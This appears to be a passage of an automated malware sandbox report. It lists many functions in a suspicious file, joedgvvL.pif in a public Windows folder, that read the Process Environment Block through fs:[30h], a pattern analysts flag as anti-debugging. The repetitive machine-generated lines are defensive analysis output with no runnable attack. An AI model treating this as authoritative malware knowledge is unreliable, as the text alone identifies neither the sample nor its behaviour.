          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5AC50 mov eax, dword ptr fs:[00000030h]11_2_1DF5AC50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5AC50 mov eax, dword ptr fs:[00000030h]11_2_1DF5AC50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56C50 mov eax, dword ptr fs:[00000030h]11_2_1DF56C50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56C50 mov eax, dword ptr fs:[00000030h]11_2_1DF56C50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56C50 mov eax, dword ptr fs:[00000030h]11_2_1DF56C50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47C40 mov eax, dword ptr fs:[00000030h]11_2_1DF47C40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47C40 mov ecx, dword ptr fs:[00000030h]11_2_1DF47C40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47C40 mov eax, dword ptr fs:[00000030h]11_2_1DF47C40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47C40 mov eax, dword ptr fs:[00000030h]11_2_1DF47C40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00BFC0 mov ecx, dword ptr fs:[00000030h]11_2_1E00BFC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00BFC0 mov eax, dword ptr fs:[00000030h]11_2_1E00BFC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BC3B mov esi, dword ptr fs:[00000030h]11_2_1DF8BC3B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD9C32 mov eax, dword ptr fs:[00000030h]11_2_1DFD9C32
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4EC20 mov eax, dword ptr fs:[00000030h]11_2_1DF4EC20
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E024FE7 mov eax, dword ptr fs:[00000030h]11_2_1E024FE7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF60C00 mov eax, dword ptr fs:[00000030h]11_2_1DF60C00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF60C00 mov eax, dword ptr fs:[00000030h]11_2_1DF60C00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF60C00 mov eax, dword ptr fs:[00000030h]11_2_1DF60C00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF60C00 mov eax, dword ptr fs:[00000030h]11_2_1DF60C00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E006FF7 mov eax, dword ptr fs:[00000030h]11_2_1E006FF7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CC00 mov eax, dword ptr fs:[00000030h]11_2_1DF8CC00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E02BC01 mov eax, dword ptr fs:[00000030h]11_2_1E02BC01
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E02BC01 mov eax, dword ptr fs:[00000030h]11_2_1E02BC01
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF90FF6 mov eax, dword ptr fs:[00000030h]11_2_1DF90FF6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF90FF6 mov eax, dword ptr fs:[00000030h]11_2_1DF90FF6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF90FF6 mov eax, dword ptr fs:[00000030h]11_2_1DF90FF6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF90FF6 mov eax, dword ptr fs:[00000030h]11_2_1DF90FF6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BFEC mov eax, dword ptr fs:[00000030h]11_2_1DF8BFEC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BFEC mov eax, dword ptr fs:[00000030h]11_2_1DF8BFEC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BFEC mov eax, dword ptr fs:[00000030h]11_2_1DF8BFEC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6CFE0 mov eax, dword ptr fs:[00000030h]11_2_1DF6CFE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6CFE0 mov eax, dword ptr fs:[00000030h]11_2_1DF6CFE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4BFD0 mov eax, dword ptr fs:[00000030h]11_2_1DF4BFD0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01DC27 mov eax, dword ptr fs:[00000030h]11_2_1E01DC27
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01DC27 mov eax, dword ptr fs:[00000030h]11_2_1E01DC27
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01DC27 mov eax, dword ptr fs:[00000030h]11_2_1E01DC27
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD3FD7 mov eax, dword ptr fs:[00000030h]11_2_1DFD3FD7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4EFD8 mov eax, dword ptr fs:[00000030h]11_2_1DF4EFD8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4EFD8 mov eax, dword ptr fs:[00000030h]11_2_1DF4EFD8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4EFD8 mov eax, dword ptr fs:[00000030h]11_2_1DF4EFD8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF81FCD mov eax, dword ptr fs:[00000030h]11_2_1DF81FCD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF81FCD mov eax, dword ptr fs:[00000030h]11_2_1DF81FCD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF81FCD mov eax, dword ptr fs:[00000030h]11_2_1DF81FCD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53FC2 mov eax, dword ptr fs:[00000030h]11_2_1DF53FC2
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF52FC8 mov eax, dword ptr fs:[00000030h]11_2_1DF52FC8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF52FC8 mov eax, dword ptr fs:[00000030h]11_2_1DF52FC8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF52FC8 mov eax, dword ptr fs:[00000030h]11_2_1DF52FC8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF52FC8 mov eax, dword ptr fs:[00000030h]11_2_1DF52FC8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E021C3C mov eax, dword ptr fs:[00000030h]11_2_1E021C3C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91FB8 mov eax, dword ptr fs:[00000030h]11_2_1DF91FB8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BFB0 mov eax, dword ptr fs:[00000030h]11_2_1DF8BFB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FC4F mov eax, dword ptr fs:[00000030h]11_2_1E00FC4F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82F98 mov eax, dword ptr fs:[00000030h]11_2_1DF82F98
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82F98 mov eax, dword ptr fs:[00000030h]11_2_1DF82F98
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov eax, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov eax, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov eax, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov ecx, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61F92 mov eax, dword ptr fs:[00000030h]11_2_1DF61F92
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4FF90 mov edi, dword ptr fs:[00000030h]11_2_1DF4FF90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CF80 mov eax, dword ptr fs:[00000030h]11_2_1DF8CF80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7BF60 mov eax, dword ptr fs:[00000030h]11_2_1DF7BF60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AF69 mov eax, dword ptr fs:[00000030h]11_2_1DF7AF69
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AF69 mov eax, dword ptr fs:[00000030h]11_2_1DF7AF69
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF4CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF4CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF4CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF4CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF4CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF4CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF51F50 mov eax, dword ptr fs:[00000030h]11_2_1DF51F50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CF50 mov eax, dword ptr fs:[00000030h]11_2_1DF8CF50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF87F51 mov eax, dword ptr fs:[00000030h]11_2_1DF87F51
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FCAB mov eax, dword ptr fs:[00000030h]11_2_1E00FCAB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E000CB5 mov eax, dword ptr fs:[00000030h]11_2_1E000CB5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4F40 mov eax, dword ptr fs:[00000030h]11_2_1DFD4F40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4F40 mov eax, dword ptr fs:[00000030h]11_2_1DFD4F40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4F40 mov eax, dword ptr fs:[00000030h]11_2_1DFD4F40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4F40 mov eax, dword ptr fs:[00000030h]11_2_1DFD4F40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCFF42 mov eax, dword ptr fs:[00000030h]11_2_1DFCFF42
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFF7F3E mov eax, dword ptr fs:[00000030h]11_2_1DFF7F3E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7EF28 mov eax, dword ptr fs:[00000030h]11_2_1DF7EF28
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF52F12 mov eax, dword ptr fs:[00000030h]11_2_1DF52F12
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CF1F mov eax, dword ptr fs:[00000030h]11_2_1DF8CF1F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDDF10 mov eax, dword ptr fs:[00000030h]11_2_1DFDDF10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD1F13 mov eax, dword ptr fs:[00000030h]11_2_1DFD1F13
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53EF4 mov eax, dword ptr fs:[00000030h]11_2_1DF53EF4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53EF4 mov eax, dword ptr fs:[00000030h]11_2_1DF53EF4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53EF4 mov eax, dword ptr fs:[00000030h]11_2_1DF53EF4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF88EF5 mov eax, dword ptr fs:[00000030h]11_2_1DF88EF5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E008D10 mov eax, dword ptr fs:[00000030h]11_2_1E008D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E008D10 mov eax, dword ptr fs:[00000030h]11_2_1E008D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF83EEB mov ecx, dword ptr fs:[00000030h]11_2_1DF83EEB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF83EEB mov eax, dword ptr fs:[00000030h]11_2_1DF83EEB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF83EEB mov eax, dword ptr fs:[00000030h]11_2_1DF83EEB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53EE1 mov eax, dword ptr fs:[00000030h]11_2_1DF53EE1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56EE0 mov eax, dword ptr fs:[00000030h]11_2_1DF56EE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56EE0 mov eax, dword ptr fs:[00000030h]11_2_1DF56EE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56EE0 mov eax, dword ptr fs:[00000030h]11_2_1DF56EE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56EE0 mov eax, dword ptr fs:[00000030h]11_2_1DF56EE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF4BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF4BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5BEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF5BEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FEC0 mov eax, dword ptr fs:[00000030h]11_2_1DF7FEC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDFEC5 mov eax, dword ptr fs:[00000030h]11_2_1DFDFEC5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFEAEB0 mov eax, dword ptr fs:[00000030h]11_2_1DFEAEB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFEAEB0 mov eax, dword ptr fs:[00000030h]11_2_1DFEAEB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4DEA5 mov eax, dword ptr fs:[00000030h]11_2_1DF4DEA5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4DEA5 mov ecx, dword ptr fs:[00000030h]11_2_1DF4DEA5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4FEA0 mov eax, dword ptr fs:[00000030h]11_2_1DF4FEA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDDEAA mov eax, dword ptr fs:[00000030h]11_2_1DFDDEAA
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E011D5A mov eax, dword ptr fs:[00000030h]11_2_1E011D5A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E011D5A mov eax, dword ptr fs:[00000030h]11_2_1E011D5A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E011D5A mov eax, dword ptr fs:[00000030h]11_2_1E011D5A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E011D5A mov eax, dword ptr fs:[00000030h]11_2_1E011D5A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDCEA0 mov eax, dword ptr fs:[00000030h]11_2_1DFDCEA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDCEA0 mov eax, dword ptr fs:[00000030h]11_2_1DFDCEA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDCEA0 mov eax, dword ptr fs:[00000030h]11_2_1DFDCEA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF57E96 mov eax, dword ptr fs:[00000030h]11_2_1DF57E96
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82E9C mov eax, dword ptr fs:[00000030h]11_2_1DF82E9C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82E9C mov ecx, dword ptr fs:[00000030h]11_2_1DF82E9C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4AE90 mov eax, dword ptr fs:[00000030h]11_2_1DF4AE90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4AE90 mov eax, dword ptr fs:[00000030h]11_2_1DF4AE90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4AE90 mov eax, dword ptr fs:[00000030h]11_2_1DF4AE90
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDDE9B mov eax, dword ptr fs:[00000030h]11_2_1DFDDE9B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF83E8F mov eax, dword ptr fs:[00000030h]11_2_1DF83E8F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD0E7F mov eax, dword ptr fs:[00000030h]11_2_1DFD0E7F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD0E7F mov eax, dword ptr fs:[00000030h]11_2_1DFD0E7F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD0E7F mov eax, dword ptr fs:[00000030h]11_2_1DFD0E7F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF56E71 mov eax, dword ptr fs:[00000030h]11_2_1DF56E71
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4BE78 mov ecx, dword ptr fs:[00000030h]11_2_1DF4BE78
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BE51 mov eax, dword ptr fs:[00000030h]11_2_1DF8BE51
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BE51 mov eax, dword ptr fs:[00000030h]11_2_1DF8BE51
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4EE5A mov eax, dword ptr fs:[00000030h]11_2_1DF4EE5A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E018DAE mov eax, dword ptr fs:[00000030h]11_2_1E018DAE
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E018DAE mov eax, dword ptr fs:[00000030h]11_2_1E018DAE
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E024DAD mov eax, dword ptr fs:[00000030h]11_2_1E024DAD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF65E40 mov eax, dword ptr fs:[00000030h]11_2_1DF65E40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF51E30 mov eax, dword ptr fs:[00000030h]11_2_1DF51E30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF51E30 mov eax, dword ptr fs:[00000030h]11_2_1DF51E30
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01DDC6 mov eax, dword ptr fs:[00000030h]11_2_1E01DDC6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00DDC7 mov eax, dword ptr fs:[00000030h]11_2_1E00DDC7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6DE2D mov eax, dword ptr fs:[00000030h]11_2_1DF6DE2D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6DE2D mov eax, dword ptr fs:[00000030h]11_2_1DF6DE2D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6DE2D mov eax, dword ptr fs:[00000030h]11_2_1DF6DE2D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4DE10 mov eax, dword ptr fs:[00000030h]11_2_1DF4DE10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF48E1D mov eax, dword ptr fs:[00000030h]11_2_1DF48E1D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov ecx, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7AE00 mov eax, dword ptr fs:[00000030h]11_2_1DF7AE00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF829F9 mov eax, dword ptr fs:[00000030h]11_2_1DF829F9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF829F9 mov eax, dword ptr fs:[00000030h]11_2_1DF829F9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FA02 mov eax, dword ptr fs:[00000030h]11_2_1E00FA02
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5A9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF5A9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5A9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF5A9D0
